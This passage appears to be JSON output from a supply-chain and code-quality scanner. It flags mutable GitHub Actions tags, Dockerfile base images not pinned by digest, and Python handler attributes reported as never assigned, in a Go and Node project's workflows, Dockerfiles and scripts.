{"repobilityId": 113291, "scanner": "repobility-supply-chain", "fingerprint": "eff876886f59cd998fc9484037fedc2f7accd5aeb151d5937ce44d76e6e7ec9c", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|eff876886f59cd998fc9484037fedc2f7accd5aeb151d5937ce44d76e6e7ec9c"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/ci.yml"}, "region": {"startLine": 22}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-go` pinned to mutable ref `@v5`"}, "properties": {"repobilityId": 113290, "scanner": "repobility-supply-chain", "fingerprint": "3a0fcd989a1a80e8bc8990b062cdc7c4a942a89db9d259eea4673a6057f4c9ad", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|3a0fcd989a1a80e8bc8990b062cdc7c4a942a89db9d259eea4673a6057f4c9ad"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/ci.yml"}, "region": {"startLine": 18}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113289, "scanner": "repobility-supply-chain", "fingerprint": "3b0fec33be5da43e4e2850c526263f24e1558c0bb18e637f7972cf88cafc23e1", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|3b0fec33be5da43e4e2850c526263f24e1558c0bb18e637f7972cf88cafc23e1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/ci.yml"}, "region": {"startLine": 17}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-node` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113288, "scanner": "repobility-supply-chain", "fingerprint": "73bdb7af3d0c482ce884c56c79b7516d980e27807282cd8352fb8dad570bf8f8", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|73bdb7af3d0c482ce884c56c79b7516d980e27807282cd8352fb8dad570bf8f8"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/e2e-install.yml"}, "region": {"startLine": 41}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-go` pinned to mutable ref `@v5`"}, "properties": {"repobilityId": 113287, "scanner": "repobility-supply-chain", "fingerprint": "f9d1e7966bafb95ad156f3f20c61fcdb3b4b8188b0b07a507fcaf2504901dbef", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|f9d1e7966bafb95ad156f3f20c61fcdb3b4b8188b0b07a507fcaf2504901dbef"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/e2e-install.yml"}, "region": {"startLine": 37}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113286, "scanner": "repobility-supply-chain", "fingerprint": "98130a0844fb8efb14430a701272d525236f2b0e4d2fe18615e512deb882d36f", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|98130a0844fb8efb14430a701272d525236f2b0e4d2fe18615e512deb882d36f"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/e2e-install.yml"}, "region": {"startLine": 36}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113285, "scanner": "repobility-supply-chain", "fingerprint": "655afb970c8f6df1c3cf213d53d87787501b6a58e162c0da5caac0f6cea4cbb7", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|655afb970c8f6df1c3cf213d53d87787501b6a58e162c0da5caac0f6cea4cbb7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/e2e-install.yml"}, "region": {"startLine": 18}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-node` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113284, "scanner": "repobility-supply-chain", "fingerprint": "89674a95211b06786a6d18e3ac88863b76f53ea727b6248c845c5db7725712bc", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|89674a95211b06786a6d18e3ac88863b76f53ea727b6248c845c5db7725712bc"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-please.yml"}, "region": {"startLine": 39}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-go` pinned to mutable ref `@v5`"}, "properties": {"repobilityId": 113283, "scanner": "repobility-supply-chain", "fingerprint": "e2808606aed8183488ecc42282f28417f881f134dc2b13bf418add74bff095a4", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|e2808606aed8183488ecc42282f28417f881f134dc2b13bf418add74bff095a4"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-please.yml"}, "region": {"startLine": 34}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113282, "scanner": "repobility-supply-chain", "fingerprint": "af6f029be767f01b2336c400be59b3e6f8340f358f0bfbd89d502d54a8b57532", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|af6f029be767f01b2336c400be59b3e6f8340f358f0bfbd89d502d54a8b57532"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-please.yml"}, "region": {"startLine": 29}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `googleapis/release-please-action` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113281, "scanner": "repobility-supply-chain", "fingerprint": "e7a034b6b4b83008c46c60d93599f9a90b039b54eb6c9e216cd5cc61399deb53", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|e7a034b6b4b83008c46c60d93599f9a90b039b54eb6c9e216cd5cc61399deb53"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-please.yml"}, "region": {"startLine": 18}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/setup-go` pinned to mutable ref `@v5`"}, "properties": {"repobilityId": 113280, "scanner": "repobility-supply-chain", "fingerprint": "dc6aaa7f953bed867922d735d700294bb530822a7fb758b6f52a5fca8af8084e", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|dc6aaa7f953bed867922d735d700294bb530822a7fb758b6f52a5fca8af8084e"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-imessage-helper.yml"}, "region": {"startLine": 82}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113279, "scanner": "repobility-supply-chain", "fingerprint": "f37e0f56edd93135630c659f701a39d4c2f95cd37c5a3cdbd2ca7aacb16a7b45", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|f37e0f56edd93135630c659f701a39d4c2f95cd37c5a3cdbd2ca7aacb16a7b45"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-imessage-helper.yml"}, "region": {"startLine": 79}}}]}, {"ruleId": "MINED115", "level": "error", "message": {"text": "Action `actions/checkout` pinned to mutable ref `@v4`"}, "properties": {"repobilityId": 113278, "scanner": "repobility-supply-chain", "fingerprint": "fad53ef95c280533694f416db41ad623d7327290f76db4386b0af4bbaf935463", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "gha-mutable-ref", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["yaml"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|fad53ef95c280533694f416db41ad623d7327290f76db4386b0af4bbaf935463"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": ".github/workflows/release-imessage-helper.yml"}, "region": {"startLine": 33}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `debian:12-slim` not pinned by digest"}, "properties": {"repobilityId": 113277, "scanner": "repobility-supply-chain", "fingerprint": "0e0475e845324e1c1e525a2854fbe6f0ffc0e0d346fb475a7f9652fe3950dfe3", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|0e0475e845324e1c1e525a2854fbe6f0ffc0e0d346fb475a7f9652fe3950dfe3"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "internal/runtime/isolation/assets/Dockerfile"}, "region": {"startLine": 1}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `gcr.io/distroless/static-debian12 (no tag)` not pinned by digest"}, "properties": {"repobilityId": 113276, "scanner": "repobility-supply-chain", "fingerprint": "fd70042c6bc7f23be3568f370d135814c8b659c952a29ded34fa45a59aee06a3", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|fd70042c6bc7f23be3568f370d135814c8b659c952a29ded34fa45a59aee06a3"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/Dockerfile"}, "region": {"startLine": 20}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `golang:1.25-alpine` not pinned by digest"}, "properties": {"repobilityId": 113275, "scanner": "repobility-supply-chain", "fingerprint": "6bfa77cd033e0e6a604b5c0af67ff2976b101a15620bcb792712ea7c2445e9c1", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|6bfa77cd033e0e6a604b5c0af67ff2976b101a15620bcb792712ea7c2445e9c1"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/Dockerfile"}, "region": {"startLine": 10}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `node:20-alpine` not pinned by digest"}, "properties": {"repobilityId": 113274, "scanner": "repobility-supply-chain", "fingerprint": "8e7a4adf246682806f6a638ab45d765828cf28177ac0bfae1be6c82a78c40885", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|8e7a4adf246682806f6a638ab45d765828cf28177ac0bfae1be6c82a78c40885"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "deploy/Dockerfile"}, "region": {"startLine": 2}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `alpine:3.21` not pinned by digest"}, "properties": {"repobilityId": 113273, "scanner": "repobility-supply-chain", "fingerprint": "a953c3f775419a4035561fcd34d62a1de91bb54dff0f79625c1e762d74f7e381", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|a953c3f775419a4035561fcd34d62a1de91bb54dff0f79625c1e762d74f7e381"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "render/Dockerfile"}, "region": {"startLine": 20}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `golang:1.25-alpine` not pinned by digest"}, "properties": {"repobilityId": 113272, "scanner": "repobility-supply-chain", "fingerprint": "0de49d33b4833c5d6b59da35646f836af34fa57066d4f9ea561bbbf76224fcda", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|0de49d33b4833c5d6b59da35646f836af34fa57066d4f9ea561bbbf76224fcda"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "render/Dockerfile"}, "region": {"startLine": 10}}}]}, {"ruleId": "MINED118", "level": "error", "message": {"text": "Dockerfile FROM `node:20-alpine` not pinned by digest"}, "properties": {"repobilityId": 113271, "scanner": "repobility-supply-chain", "fingerprint": "2af1ae2940d769f162cf9f56da757afcc471975ea445e6a05d99481febb3f3c6", "category": "dependency", "severity": "high", "confidence": 0.9, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "docker-from-unpinned", "owasp": "A08:2021", "cwe_ids": ["CWE-829"], "languages": ["dockerfile"], "observations_count": 0}, "scanner": "repobility-supply-chain", "correlation_key": "fp|2af1ae2940d769f162cf9f56da757afcc471975ea445e6a05d99481febb3f3c6"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "render/Dockerfile"}, "region": {"startLine": 2}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_response` used but never assigned in __init__"}, "properties": {"repobilityId": 113269, "scanner": "repobility-ast-engine", "fingerprint": "a78bf35972b9121b5dcf819ed2cce2ede379edcdc002e6d253150bcbf3f424e7", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|a78bf35972b9121b5dcf819ed2cce2ede379edcdc002e6d253150bcbf3f424e7"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 84}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.wfile` used but never assigned in __init__"}, "properties": {"repobilityId": 113268, "scanner": "repobility-ast-engine", "fingerprint": "973be1daf9d53a0862dc14e381bea290ea7d0cf1161245951d518bcc216001bc", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|973be1daf9d53a0862dc14e381bea290ea7d0cf1161245951d518bcc216001bc"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 82}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.path` used but never assigned in __init__"}, "properties": {"repobilityId": 113267, "scanner": "repobility-ast-engine", "fingerprint": "becc1aa895b88e2f8d394be8a7278730da4aa9b2797044108a8c7960966e364e", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|becc1aa895b88e2f8d394be8a7278730da4aa9b2797044108a8c7960966e364e"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 83}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.end_headers` used but never assigned in __init__"}, "properties": {"repobilityId": 113266, "scanner": "repobility-ast-engine", "fingerprint": "23e4be69b12364ca0a13ee7b755a51a921c08d41c5a2734c7db46d0e301ddcd3", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|23e4be69b12364ca0a13ee7b755a51a921c08d41c5a2734c7db46d0e301ddcd3"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 81}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_header` used but never assigned in __init__"}, "properties": {"repobilityId": 113265, "scanner": "repobility-ast-engine", "fingerprint": "eae6202ca95e284ae5539b0bc23bd48654902034820653b69d6c5001e1d10a04", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|eae6202ca95e284ae5539b0bc23bd48654902034820653b69d6c5001e1d10a04"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 80}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_response` used but never assigned in __init__"}, "properties": {"repobilityId": 113264, "scanner": "repobility-ast-engine", "fingerprint": "0414347f61cf8e0f57053a671659433336b58ec28e93c9a763de87880f71e713", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|0414347f61cf8e0f57053a671659433336b58ec28e93c9a763de87880f71e713"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 79}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.path` used but never assigned in __init__"}, "properties": {"repobilityId": 113263, "scanner": "repobility-ast-engine", "fingerprint": "fa0f9eede25c5899fe0643a26b3d0f515644e96c72e4014be2cc727c474b61e5", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|fa0f9eede25c5899fe0643a26b3d0f515644e96c72e4014be2cc727c474b61e5"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "e2e/install/mock_github_server.py"}, "region": {"startLine": 78}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.wfile` used but never assigned in __init__"}, "properties": {"repobilityId": 113262, "scanner": "repobility-ast-engine", "fingerprint": "1f8fca253b86a85e73372b83e16af593e54a141d8148bc3061cb153fb5d13c0b", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|1f8fca253b86a85e73372b83e16af593e54a141d8148bc3061cb153fb5d13c0b"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 136}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.end_headers` used but never assigned in __init__"}, "properties": {"repobilityId": 113261, "scanner": "repobility-ast-engine", "fingerprint": "0b230548dc65af0de25d082a91adff97e5365df19579a33b5139ba3b92096080", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|0b230548dc65af0de25d082a91adff97e5365df19579a33b5139ba3b92096080"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 135}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_header` used but never assigned in __init__"}, "properties": {"repobilityId": 113260, "scanner": "repobility-ast-engine", "fingerprint": "a19c0a06fc0489322bb3ecba3c1da44c9b8c41dd4e185159cf528308ceff3924", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|a19c0a06fc0489322bb3ecba3c1da44c9b8c41dd4e185159cf528308ceff3924"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 134}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_header` used but never assigned in __init__"}, "properties": {"repobilityId": 113259, "scanner": "repobility-ast-engine", "fingerprint": "d96f6aa62cfac89cf4e634cea57c973ddeaf6f5427a95cd1beafede32c4b238b", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|d96f6aa62cfac89cf4e634cea57c973ddeaf6f5427a95cd1beafede32c4b238b"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 133}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_header` used but never assigned in __init__"}, "properties": {"repobilityId": 113258, "scanner": "repobility-ast-engine", "fingerprint": "91230fcdcae76daa578c64b35c5d40573c7ab0c59967754afffb1003eab80869", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|91230fcdcae76daa578c64b35c5d40573c7ab0c59967754afffb1003eab80869"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 132}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_response` used but never assigned in __init__"}, "properties": {"repobilityId": 113257, "scanner": "repobility-ast-engine", "fingerprint": "d22b41c3290bec6c3b7453070a7376113e7deae34dc4f2a38f45f1ba5ba6649c", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|d22b41c3290bec6c3b7453070a7376113e7deae34dc4f2a38f45f1ba5ba6649c"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 131}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.wfile` used but never assigned in __init__"}, "properties": {"repobilityId": 113256, "scanner": "repobility-ast-engine", "fingerprint": "32b4544f249f93f5152bb3f5134778d6d7587f02bda17f7962ea45fa64152350", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|32b4544f249f93f5152bb3f5134778d6d7587f02bda17f7962ea45fa64152350"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 107}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_error` used but never assigned in __init__"}, "properties": {"repobilityId": 113255, "scanner": "repobility-ast-engine", "fingerprint": "e293ca8d0819e739b294527c18245d63849e8437b52ee1d0ba94dd2d57a673d9", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|e293ca8d0819e739b294527c18245d63849e8437b52ee1d0ba94dd2d57a673d9"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 99}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.end_headers` used but never assigned in __init__"}, "properties": {"repobilityId": 113254, "scanner": "repobility-ast-engine", "fingerprint": "638dd2ad8ce7402039f7116a75065cf2d34d926932350b529818b2bd1a7816bd", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": {"slug": "self-attr-never-set", "owasp": null, "cwe_ids": ["CWE-476"], "languages": ["python"], "observations_count": 25998}, "scanner": "repobility-ast-engine", "correlation_key": "fp|638dd2ad8ce7402039f7116a75065cf2d34d926932350b529818b2bd1a7816bd"}}, "locations": [{"physicalLocation": {"artifactLocation": {"uri": "scripts/raw-log-viewer.py"}, "region": {"startLine": 106}}}]}, {"ruleId": "MINED108", "level": "error", "message": {"text": "`self.send_header` used but never assigned in __init__"}, "properties": {"repobilityId": 113253, "scanner": "repobility-ast-engine", "fingerprint": "9105cec4fd6ec65ac67eaa1ca6741dce385ae6e09a0859717007eeb9af6002ca", "category": "quality", "severity": "high", "confidence": 1.0, "triageState": "open", "verdict": "", "isResolved": false, "reason": "", "evidence": {"mined": true, "mining": 